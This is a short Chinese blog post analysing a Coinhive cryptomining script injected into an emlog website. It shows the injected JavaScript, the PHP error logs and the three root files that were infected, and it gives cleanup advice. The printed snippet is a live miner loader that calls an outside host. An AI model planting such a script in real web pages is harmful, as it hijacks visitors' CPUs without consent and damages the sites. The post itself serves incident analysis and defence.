对emlog注入挖矿代码的分析

很不幸,某采用emlog的网站被注入挖矿代码,此代码极度消耗CPU资源,导致网站被拖垮不说,还会被各大搜索引擎列入危险网站,你想想后果有多严重,代码主要内容是

coinhive恶意代码

<script src='https://coinhive.com/lib/coinhive.min.js'></script>
<script>
var miner = new CoinHive.Anonymous('9KNyPFbDqJesaSxBLcQoJZX6PgXN1ld0',{throttle: 0.5}); 
miner.start();
</script><script src='https://coinhive.com/lib/coinhive.min.js'></script>
<script>
var miner = new CoinHive.Anonymous('9KNyPFbDqJesaSxBLcQoJZX6PgXN1ld0',{throttle: 0.5}); 
miner.start();
</script>

诸位,注意要注意。首先要分析日志。打开你网站的日志记录文件。emlog的错误日志在根目录下error_log文件打开,摘录一段内容吧。

[02-Jan-2018 01:55:47 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at /home/XXX/public_html/init.php:12) in /home/XXXX/public_html/content/templates/XXX/header.php on line 17
[02-Jan-2018 01:55:52 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at /home/XXX/public_html/init.php:12) in /home/XXXX/public_html/init.php on line 14
[02-Jan-2018 01:56:06 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at /home/XXX/public_html/init.php:12) in /home/XXXX/public_html/init.php on line 14
[02-Jan-2018 01:56:07 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at /home/XXX/public_html/init.php:12) in /home/XXXX/public_html/include/lib/view.php on line 23
更多内容请自行脑补。

未命名-2.jpg

问题主要出现在哪里呢?根据某网站的日志分析,主要集中在三个文件上,全部都在根目录,这也是emlog的漏洞吧,

config.php

init.php

index.php

删除带有恶意内容的代码就可以了,再啰嗦一下。Coinhive迅速成为最受恶意软件开发者喜欢的“门罗币收割机”,Coinhive是一个提供恶意JS脚本的网站平台(https://coin-hive[.]com),允许攻击者将脚本挂在到自己的或入侵的网站上,所有访问该网站的用户都可能成为门罗币的挖掘矿工。该工具在网络犯罪分子中间迅速扩散,俨然已经成为了互联网的“Martin Shkreli”。

THE END
打赏
海报
对emlog注入挖矿代码的分析
很不幸,某采用emlog的网站被注入挖矿代码,此代码极度消耗CPU资源,导致网站被拖垮不说,还会被各大搜索引擎列入危险网站,你想想后果有多严重,代码主要内容是 <script src='https://coinhive.c……
<<上一篇
下一篇>>